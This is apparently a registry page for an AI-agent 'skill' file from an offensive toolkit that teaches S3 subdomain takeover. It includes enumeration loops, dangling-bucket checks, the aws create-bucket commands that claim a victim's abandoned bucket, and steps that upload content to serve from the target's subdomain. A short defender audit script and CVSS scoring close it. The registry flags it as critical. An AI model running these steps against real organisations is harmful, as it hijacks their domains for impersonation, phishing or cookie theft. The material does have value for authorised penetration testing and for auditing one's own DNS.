Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).
60
72%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.mdWhen a subdomain has a CNAME to an S3 hostname (e.g.
assets.example.com → assets-example.s3.amazonaws.com) but the bucket
no longer exists, anyone can register that bucket name and serve
content from the subdomain.
From recon SUMMARY.md, look for any CNAME containing:
s3.amazonaws.coms3-website-<region>.amazonaws.coms3.<region>.amazonaws.coms3-website.<region>.amazonaws.com<bucket>.s3.<region>.amazonaws.com.cloudfront.net)Or run direct:
# Subdomain dump
subfinder -d example.com -silent > /tmp/subs.txt
# Check CNAMEs
for s in $(cat /tmp/subs.txt); do
cname=$(dig +short CNAME "$s" 2>/dev/null | head -1)
if echo "$cname" | grep -qE 's3.*amazonaws|cloudfront'; then
echo "$s -> $cname"
fi
done > /tmp/s3-candidates.txtFor each candidate:
# Try to GET the subdomain - look for the S3 "NoSuchBucket" error
curl -s -o /tmp/r.html "https://$SUBDOMAIN/" -w '%{http_code}\n'
grep -E 'NoSuchBucket|BucketNotFound|<Code>NoSuchBucket</Code>' /tmp/r.html
# Or query the bucket name directly
BUCKET=$(echo "$CNAME" | awk -F'.' '{print $1}')
aws s3 ls "s3://$BUCKET/" --no-sign-request 2>&1
# "NoSuchBucket" / "The specified bucket does not exist" = danglingDecepticon helper:
s3_takeover_check("<subdomain>")# In the SAME region the CNAME implies
aws s3api create-bucket \
--bucket "$BUCKET" \
--region us-east-1 \
--create-bucket-configuration LocationConstraint=us-east-1
# (us-east-1 omits the LocationConstraint)Race conditions:
Static page proof (engagement context — get explicit permission first):
echo '<h1>S3 subdomain takeover PoC</h1><p>Demonstrated by ENGAGEMENT-ID</p>' > /tmp/index.html
aws s3 cp /tmp/index.html "s3://$BUCKET/index.html"
aws s3 website "s3://$BUCKET/" --index-document index.html
# Now curl https://$SUBDOMAIN/ returns your contentDO NOT:
DO:
aws s3 rb "s3://$BUCKET" --forceA claimed S3 bucket on an org subdomain gives:
.example.com)kg_add_node(kind="vulnerability", label="S3 takeover: <subdomain>",
props={"severity":"high","bucket":"<bucket>","region":"<region>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:org-domain>, kind="grants-impersonation")CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N = 8.7CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N = 7.5# Find every S3 CNAME the org publishes
aws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \
xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \
--query 'ResourceRecordSets[?Type==`CNAME`]' --output json > /tmp/cnames.json
# Cross-check against existing buckets
jq -r '.[] | select(.ResourceRecords[].Value | test("s3.*amazonaws")) | .Name' /tmp/cnames.json | \
while read sd; do
bucket=$(dig +short CNAME "$sd" | head -1 | sed 's/.s3.*//; s/.$//')
aws s3api head-bucket --bucket "$bucket" 2>&1 | grep -q "Not Found" && echo "DANGLING: $sd -> $bucket"
donee34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.